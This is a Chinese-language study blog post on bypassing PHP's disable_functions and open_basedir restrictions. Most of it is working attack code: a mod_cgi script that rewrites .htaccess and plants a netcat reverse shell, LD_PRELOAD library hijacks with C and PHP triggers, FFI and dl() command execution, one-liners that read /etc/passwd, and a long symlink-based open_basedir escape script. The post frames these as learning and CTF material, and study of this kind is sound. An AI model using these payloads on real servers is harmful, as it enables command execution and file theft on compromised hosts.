Bypass disabled_functions & open_basedir学习

0x 01 前言

​ 常见的有四种绕过 disable_functions 的手法:第一种,攻击后端组件,寻找存在命令注入的、web 应用常用的后端组件,如,ImageMagick 的魔图漏洞、bash 的破壳漏洞;第二种,寻找未禁用的漏网函数,常见的执行命令的函数有 system()、exec()、shell_exec()、passthru(),偏僻 popen()、proc_open()、pcntl_exec(),逐一尝试,或许有漏网之鱼;第三种,mod_cgi 模式,尝试修改 .htaccess,调整请求访问路由,绕过 php.ini 中的任何限制;第四种,利用环境变量 LD_PRELOAD 劫持系统函数,让外部程序加载恶意 *.so,达到执行系统命令的效果。

0x 02 黑名单 bypass

众所周知,disable_functions 是基于黑名单来实现对某些函数使用的限制的,既然是黑名单有时候就难免会有漏网之鱼

PHP 中能直接执行系统程序的函数

1
2
3
4
5
6
7
8
system()
shell_exec()
exec()
passthru()
popen()
proc_open()
pcntl_exec()
dl() // 加载自定义 php 扩展

PHP 中执行运算符(反引号)的效果和 shell_exec() 是相同的

0x 03 第二种:mod_cgi bypass介绍

关于mode_cgi,可以参考apache的官方说明:http://man.chinaunix.net/newsoft/ApacheManual/mod/mod_cgi.html。

“任何具有mime类型application/x-httpd-cgi或者被 cgi-script处理器(Apache 1.1或以后版本)处理的文件将被作为CGI脚本对待并由服务器运行, 它的输出将被返回给客户端。通过两种途径使文件成为CGI脚本,或者文件具有已由 AddType指令定义的扩展名,或者文件位于 ScriptAlias目录中。”,这就表示,apache允许WEB服务器与可执行文件进行交互。

满足条件:

1
2
3
4
1. apache环境
2. mod_cgi已启用
3. htaccess的文件必须被允许,即在httpd.conf中,要注意AllowOverride选项为All
4. 你必须能够写入文件

攻击思路:先把要执行的程序写入一个特定扩展名的文件里,然后修改.htaccess文件,通过Options指令允许使用mod_cgi模块执行CGI脚本,然后再让我们特定的扩展名以cgi-script进行处理,这样我们甚至可以反弹一个shell出来。

POC如下,附注释:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php
$cmd = "nc -c'/bin/bash' 127.0.0.1 4444"; //反弹一个shell出来,这里用本地的4444端口
$shellfile ="#!/bin/bash\n"; //指定shell
$shellfile .="echo -ne \"Content-Type: text/html\\n\\n\"\n"; //需要指定这个header,否则会返回500
$shellfile .="$cmd";
functioncheckEnabled($text,$condition,$yes,$no) //this surely can be shorter
{
echo "$text: " . ($condition ?$yes : $no) . "<br>\n";
}
if(!isset($_GET['checked']))
{
@file_put_contents('.htaccess',"\nSetEnv HTACCESS on", FILE_APPEND);
header('Location: ' . $_SERVER['PHP_SELF']. '?checked=true'); //执行环境的检查
}
else
{
$modcgi = in_array('mod_cgi',apache_get_modules()); // 检测mod_cgi是否开启
$writable = is_writable('.'); //检测当前目录是否可写
$htaccess = !empty($_SERVER['HTACCESS']);//检测是否启用了.htaccess
checkEnabled("Mod-Cgienabled",$modcgi,"Yes","No");
checkEnabled("Iswritable",$writable,"Yes","No");
checkEnabled("htaccessworking",$htaccess,"Yes","No");
if(!($modcgi && $writable&& $htaccess))
{
echo "Error. All of the above mustbe true for the script to work!"; //必须满足所有条件
}
else
{

checkEnabled("Backing
up.htaccess",copy(".htaccess",".htaccess.bak"),"Suceeded!Saved in
.htaccess.bak","Failed!"); //备份一下原有.htaccess

checkEnabled("Write
.htaccessfile",file_put_contents('.htaccess',"Options
+ExecCGI\nAddHandlercgi-script
.dizzle"),"Succeeded!","Failed!");//.dizzle,我们的特定扩展名
checkEnabled("Write shellfile",file_put_contents('shell.dizzle',$shellfile),"Succeeded!","Failed!");//写入文件
checkEnabled("Chmod777",chmod("shell.dizzle",0777),"Succeeded!","Failed!");//给权限
echo "Executing the script now.Check your listener <img src = 'shell.dizzle' style ='display:none;'>"; //调用
}
}
?>

具体攻击方法可以看这篇文章:https://www.freebuf.com/articles/web/169156.html

0x 04 第四种: LD_PRELOAD bypass介绍

这里需要介绍一个前置知识:

LD_PRELOAD

LD_PRELOAD 是 Linux 下的一个环境变量,动态链接器在载入一个程序所需的所有动态库之前,首先会载入LD_PRELOAD 环境变量所指定的动态库。

从上面可以看出本来LD_PRELOAD的作用是利用我们加载进来的so,去覆盖相同函数名的库函数,去使用自己的函数,更加方便,但是如果自己的函数为恶意函数,就造成了恶意程序注入。

利用 putenv 设置LD_PRELOAD变量,既能绕过open basedir,又能绕过disable functions

putenv可以设置环境变量
1
putenv ( string $setting ) : bool

添加 setting 到服务器环境变量。 环境变量仅存活于当前请求期间。 在请求结束时环境会恢复到初始状态。
如果该函数未被过滤,那么我们可以有如下骚操作:

1.制作一个恶意shared libraries
2.使用putenv设置LD_PRELOAD为恶意文件路径
3.使用某个php函数,触发specific shared library
4.成功进行RCE
img

对LD_PRELOAD的利用大概可分为两种,第一种是劫持库函数,第二种是劫持启动进程

  • 劫持库函数

网上大多数都是劫持的getuid,其实能劫持的并不只getuid,我们需要劫持的函数需要满足,此函数为点:经常被用到的并且为无参数的函数

比如getuid,getpid,getgid,getppid这种,具体的可以fuzz一下,应该蛮多的

具体操作过程(以geteuid的劫持为例)

hack.c

1
2
3
4
5
6
7
8
9
10
11
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload() {
system("whoami > hack");
}
int geteuid() {
if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
payload();
}

编译成so文件

1
2
gcc -c -fPIC hack.c -o hack
gcc --share hack -o hack.so

写一个hack.php

1
2
3
4
5
6
7
8
<?php
putenv("LD_PRELOAD=./hack.so");
mail("","","","","");//error_log('',1);
//imap_mail('a@a',1,1,1,1);
//$img = new Imagick('test.wmv');
?>

//mail()函数执行默认是会调用外部程序sendmail的

而既然要在php运行时被触发,那么势必选择一个非常常用的函数才行。这里能调用的函数不止有mail,在mail函数被ban掉的情况下也可以用error_log,imap_mail等,需要注意的是error_log的第二个参数需要设置为1表示发送邮件会调用sendmail进程,imap_mail也可调用sendmail进程,即可调用sendmail子进程,同样利用Imagick函数触发调用了新进程ffmpeg进行处理图像

imap_mail()适用于PHP < 5.6.2

使用Imagick函数的时候,MPEG format文件必须存在,否则无法调用ffmpeg

  • 劫持启动进程

从上面来看,劫持库函数需要找到特定的库函数去劫持,那么劫持新进程是不需要找到特定的库函数的。

GCC 有个 C 语言扩展修饰符 __attribute__((constructor)),可以让由它修饰的函数在 main() 之前执行,若它出现在共享对象中时,那么一旦共享对象被系统加载,立即将执行 __attribute__((constructor)) 修饰的函数。

attribute((constructor))更加直接的去讲:有这个说明:

它是在加载共享库时运行的,通常是在程序启动过程中,也就是当有一个新进程/子进程启动时,那么attribute((constructor))就会被直接加载,我们上面的mail等函数也正好符合这个特性,下面也接着来试一下:

hack.c

1
2
3
4
5
6
7
8
9
#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>

__attribute__ ((__constructor__)) void angel (void){
unsetenv("LD_PRELOAD");
system("ls");
}

hack.php

1
2
3
<?php
putenv("LD_PRELOAD=./hack.so");
error_log('',1);

0x 05 其他bypass技巧介绍

外部扩展库dl bypass介绍

实现方法参考:https://cloud.tencent.com/developer/article/1141142

版本 说明
7.0.0 PHP-FPM 模式下已禁用 dl()
5.3.9 尽管不推荐,但 PHP-FPM 模式下启用了 dl()
5.3.0 由于稳定性,dl() 在某些 SAPI 中被禁用。仅仅允许 dl() 的 SAPI 为 CLI 和 Embed。 使用 扩展加载指令 作为替代。

SAPI(Server Application Programming Interface)服务器应用程序编程接口,即PHP与其他应用交互的接口,PHP脚本要执行有很多方式,通过Web服务器,或者直接在命令行下,也可以嵌入在其他程序中。

SAPI提供了一个和外部通信的接口,常见的SAPI有:cgi、fast-cgi、cli、apache模块的DLL、isapi

1
Server API FPM/FastCGI

条件:php.ini中需设置enable_dl=true

dl bypass-poc

1
<?phpdl("dl.so");  //dl.so在extension_dir目录,如不在则用../../来实现调用confirm_dl_compiled("$_GET[a]>;1.txt");?>

主要就是dl.so这个文件的搜索,通过调用dl.so进行命令执行。

PHP7.4-FFI bypass介绍

在RCTF2019中出的题,考察了php7.4的新特性,通过新加的FFI即可bypass disable function

参考RCTF2019RCTF 2019 nextphp https://xz.aliyun.com/t/5218

1
2
3
4
5
6
7
8
9
<?php

$ffi = FFI::cdef(
"int system(const char *command);",
"libc.so.6");

$ffi->system("id");

?>

如果只定义 system 函数而省略 libc.so.6 同样也是可以执行命令的,支持 RTLD_DEFAULT 的平台将尝试在常规全局范围内查找在代码中声明的符号

当我们只能控制 FFI::cdef 函数的 lib 参数的时候,FFI::cdef 函数还可以加载我们自定义的动态链接库,但是需要填写绝对路径,否则会无法加载,比如

ffi.php

1
2
3
4
5
6
7
<?php

$ffi = FFI::cdef(
"int system(const char *command);",
"/var/www/html/bad.so");

?>

bad.c

1
2
3
4
#include <stdlib.h>
__attribute__((constructor)) void j0k3r(){
system("echo Hacked && id");
}

只要加载编译好的 bad.so 即可执行恶意代码

0x 06 常用的bypass链接

some exploits in php7

bypass disable_functions via LD_PRELOAD 利用劫持启动进程+mail()函数实现

https://github.com/l3m0n/Bypass_Disable_functions_Shell

0x 07 Bypass open_basedir

chdir bypass

1
2
3
读配置文件cmd=mkdir("/tmp/fuck");chdir('/tmp/fuck/');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(file_get_contents("/etc/passwd"));
列目录cmd=mkdir("/tmp/fuck");chdir('/tmp/fuck/');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(scandir("/"));
读文件md=mkdir("/tmp/fuck");chdir('/tmp/fuck/');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');readfile("/THis_Is_tHe_F14g"));
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
<?php
/*
* by phithon
* From https://www.leavesongs.com
* detail: http://cxsecurity.com/issue/WLB-2009110068
*/
header('content-type: text/plain');
error_reporting(-1);
ini_set('display_errors', TRUE);
printf("open_basedir: %s\nphp_version: %s\n", ini_get('open_basedir'), phpversion());
printf("disable_functions: %s\n", ini_get('disable_functions'));
$file = str_replace('\\', '/', isset($_REQUEST['file']) ? $_REQUEST['file'] : '/etc/passwd');
$relat_file = getRelativePath(__FILE__, $file);
$paths = explode('/', $file);
$name = mt_rand() % 999;
$exp = getRandStr();
mkdir($name);
chdir($name);
for($i = 1 ; $i < count($paths) - 1 ; $i++){
mkdir($paths[$i]);
chdir($paths[$i]);
}
mkdir($paths[$i]);
for ($i -= 1; $i > 0; $i--) {
chdir('..');
}
$paths = explode('/', $relat_file);
$j = 0;
for ($i = 0; $paths[$i] == '..'; $i++) {
mkdir($name);
chdir($name);
$j++;
}
for ($i = 0; $i <= $j; $i++) {
chdir('..');
}
$tmp = array_fill(0, $j + 1, $name);
symlink(implode('/', $tmp), 'tmplink');
$tmp = array_fill(0, $j, '..');
symlink('tmplink/' . implode('/', $tmp) . $file, $exp);
unlink('tmplink');
mkdir('tmplink');
delfile($name);
$exp = dirname($_SERVER['SCRIPT_NAME']) . "/{$exp}";
$exp = "http://{$_SERVER['SERVER_NAME']}{$exp}";
echo "\n-----------------content---------------\n\n";
echo file_get_contents($exp);
delfile('tmplink');

function getRelativePath($from, $to) {
// some compatibility fixes for Windows paths
$from = rtrim($from, '\/') . '/';
$from = str_replace('\\', '/', $from);
$to = str_replace('\\', '/', $to);

$from = explode('/', $from);
$to = explode('/', $to);
$relPath = $to;

foreach($from as $depth => $dir) {
// find first non-matching dir
if($dir === $to[$depth]) {
// ignore this directory
array_shift($relPath);
} else {
// get number of remaining dirs to $from
$remaining = count($from) - $depth;
if($remaining > 1) {
// add traversals up to first matching dir
$padLength = (count($relPath) + $remaining - 1) * -1;
$relPath = array_pad($relPath, $padLength, '..');
break;
} else {
$relPath[0] = './' . $relPath[0];
}
}
}
return implode('/', $relPath);
}

function delfile($deldir){
if (@is_file($deldir)) {
@chmod($deldir,0777);
return @unlink($deldir);
}else if(@is_dir($deldir)){
if(($mydir = @opendir($deldir)) == NULL) return false;
while(false !== ($file = @readdir($mydir)))
{
$name = File_Str($deldir.'/'.$file);
if(($file!='.') && ($file!='..')){delfile($name);}
}
@closedir($mydir);
@chmod($deldir,0777);
return @rmdir($deldir) ? true : false;
}
}

function File_Str($string)
{
return str_replace('//','/',str_replace('\\','/',$string));
}

function getRandStr($length = 6) {
$chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$randStr = '';
for ($i = 0; $i < $length; $i++) {
$randStr .= substr($chars, mt_rand(0, strlen($chars) - 1), 1);
}
return $randStr;
}

更多bypass方法参考:https://www.mi1k7ea.com/2019/07/20/%E6%B5%85%E8%B0%88%E5%87%A0%E7%A7%8DBypass-open-basedir%E7%9A%84%E6%96%B9%E6%B3%95/#%E7%BD%91%E4%B8%8A%E7%9A%84%E4%B8%80%E4%B8%AA%E8%84%9A%E6%9C%AC

参考资料:

https://xz.aliyun.com/t/4688#toc-8

https://www.anquanke.com/post/id/197745#h3-8

https://www.freebuf.com/articles/web/192052.html

https://glotozz.github.io/2020/02/26/%E4%BB%8E%E4%B8%80%E9%81%93%E9%A2%98%E5%AD%A6%E4%B9%A0bypass-disable-func/#%E4%B8%80-dl-%E6%8B%93%E5%B1%95%E5%BA%93%E7%BB%95%E8%BF%87

https://lihuaiqiu.github.io/2019/10/09/Bypass-disabled-functions-open-basedir-php/